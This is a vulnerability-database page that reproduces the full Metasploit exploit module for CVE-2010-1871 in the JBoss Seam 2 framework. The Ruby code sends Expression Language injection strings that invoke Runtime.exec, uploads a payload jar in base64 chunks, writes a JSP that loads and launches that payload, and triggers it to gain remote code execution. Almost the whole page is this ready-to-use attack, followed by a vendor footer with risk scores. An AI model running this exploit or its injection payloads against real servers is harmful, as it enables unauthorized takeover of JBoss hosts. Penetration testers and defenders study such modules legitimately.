Lucene search
+L

JBoss Seam 2 File Upload and Execute

🗓️ 05 Aug 2010 00:00:00Reported by vulp1n3 <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 79 Views

JBOSS Seam 2 File Upload and Execute Vulnerabilit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'JBoss Seam 2 File Upload and Execute',
        'Description' => %q{
          Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly
          sanitize inputs to some JBoss Expression Language expressions.  As a
          result, attackers can gain remote code execution through the
          application server.  This module leverages RCE to upload and execute
          a given payload.

          Versions of the JBoss application server (AS) admin-console are
          known to be vulnerable to this exploit, without requiring authentication.
          Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7.

          This module provides a more efficient method of exploitation - it
          does not loop to find desired Java classes and methods.
        },
        'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ],
        'References' => [
          # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs
          ['CVE', '2010-1871'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'],
          ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'],
          ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html']
        ],
        'DisclosureDate' => '2010-08-05',
        'License' => MSF_LICENSE,
        'Targets' => [
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('AGENT', [ true, 'User-Agent to send with requests', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)']),
        OptString.new('CTYPE', [ true, 'Content-Type to send with requests', 'application/x-www-form-urlencoded']),
        OptString.new('TARGETURI', [ true, 'URI that is built on JBoss Seam 2', '/admin-console/login.seam']),
        OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]),
        OptString.new('FNAME', [ false, 'Name of file to create - NO EXTENSION! (default: random)', nil]),
        OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]),
      ]
    )
  end

  def check
    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Checking for vulnerable JBoss Seam 2")
    uri = target_uri.path
    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}"
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 302 and res.headers['Location'])
      vprint_status('Server sent a 302 with location')
      if (res.headers['Location'] =~ /public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime%28%29/)
        report_vuln({
          host: rhost,
          port: rport,
          name: "#{name} - #{uri}",
          refs: references,
          info: "Module #{fullname} found vulnerable JBoss Seam 2 resource."
        })
        return Exploit::CheckCode::Vulnerable('Successfully verified remote code execution')
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    else
      return Exploit::CheckCode::Unknown('Received an unexpected response from the target')
    end
  end

  def execute_cmd(cmd)
    cmd_to_run = Rex::Text.uri_encode(cmd)
    vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Sending command: #{cmd_to_run}")
    uri = target_uri.path
    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}"
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 302 and res.headers['Location'])
      if (res.headers['Location'] =~ /user=java.lang.UNIXProcess/)
        vprint_good("#{Rex::Socket.to_authority(rhost, rport)} Exploit successful")
      else
        vprint_error("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
      end
    else
      vprint_error("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
    end
  end

  def call_jsp(jspname)
    # TODO: ugly way to strip off last resource on a path
    uri = target_uri.path
    *keep, _ = uri.split(%r{/})
    keep.push(jspname)
    uri = keep.join('/')
    uri = '/' + uri if (uri[0] != '/')

    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => 'sessionid=' + Rex::Text.rand_text_alpha(32)
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 200)
      vprint_good('Successful request to JSP')
    else
      vprint_error('Failed to request JSP')
    end
  end

  def upload_jsp(filename, jarname)
    jsp_text = <<~EOJSP
      <%@ page import="java.io.*"
      %><%@ page import="java.net.*"
      %><%
      URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()});
      Class c = cl.loadClass("metasploit.Payload");
      c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
      %>
    EOJSP
    vprint_status('Uploading JSP to launch payload')
    status = upload_file_chunk(filename, 'false', jsp_text)
    if status
      vprint_status("JSP uploaded to to #{filename}")
    else
      vprint_error('Failed to upload file.')
    end

    @pl_sent = true
  end

  def upload_file_chunk(filename, append = 'false', chunk)
    # create URL-safe Base64-encoded version of chunk
    b64 = Rex::Text.encode_base64(chunk)
    b64 = b64.gsub('+', '%2b')
    b64 = b64.gsub('/', '%2f')

    uri = target_uri.path
    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 302 and res.headers['Location'])
      # TODO: Including the conversationId part in this regex might cause
      # failure on other Seam applications.  Needs more testing
      if (res.headers['Location'] =~ /user=&conversationId/)
        # vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Exploit successful.")
        return true
      else
        # vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
        return false
      end
    else
      # vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Exploit failed")
      return false
    end
  end

  def get_full_path(filename)
    uri = target_uri.path
    res = send_request_cgi(
      {
        'uri' => normalize_uri(uri),
        'method' => 'POST',
        'ctype' => datastore['CTYPE'],
        'agent' => datastore['AGENT'],
        'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}"
      }, datastore['TIMEOUT']
    )
    if (res and res.code == 302 and res.headers['Location'])
      # the user argument should be set to the result of our call - which
      # will be the full path of our file
      matches = /.*user=(.+)&.*/.match(res.headers['Location'])
      if (matches and matches.captures)
        return Rex::Text.uri_decode(matches.captures[0])
      else
        return nil
      end
    else
      return nil
    end
  end

  def java_stager(fname, chunk_size)
    @payload_exe = fname + '.jar'
    jsp_name = fname + '.jsp'

    # data = payload.encoded_jar.pack
    data = payload.encoded_jar.pack

    append = 'false'
    while (data.length > chunk_size)
      status = upload_file_chunk(@payload_exe, append, data[0, chunk_size])
      if status
        vprint_status('Uploaded chunk')
      else
        vprint_error('Failed to upload chunk')
        break
      end
      data = data[chunk_size, data.length - chunk_size]
      # first chunk is an overwrite, afterwards, we need to append
      append = 'true'
    end
    status = upload_file_chunk(@payload_exe, 'true', data)
    if status
      vprint_status('Payload uploaded to ' + @payload_exe)
    else
      vprint_error('Failed to upload file.')
    end

    # write a JSP that can call the payload in the jar
    upload_jsp(jsp_name, @payload_exe)

    pe_path = get_full_path(@payload_exe) || @payload_exe
    jsp_path = get_full_path(jsp_name) || jsp_name
    # try to clean up our stuff;
    register_files_for_cleanup(pe_path, jsp_path)

    # call the JSP to launch the payload
    call_jsp(jsp_name)
  end

  def exploit
    @pl_sent = false

    if check == Exploit::CheckCode::Vulnerable

      fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(rand(8..15))

      vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Host is vulnerable")
      vprint_status("#{Rex::Socket.to_authority(rhost, rport)} Uploading file...")

      # chunking code based on struts_code_exec_exception_delegator
      chunk_size = datastore['CHUNKSIZE']
      # sanity check
      if (chunk_size <= 0)
        vprint_error("Invalid chunk size #{chunk_size}")
        return
      end

      vprint_status("Sending in chunks of #{chunk_size}")

      case target['Platform']
      when 'java'
        java_stager(fname, chunk_size)
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
      end

      handler
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2010 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 26.8
CVSS 3.18.8
EPSS0.83397
SSVC
79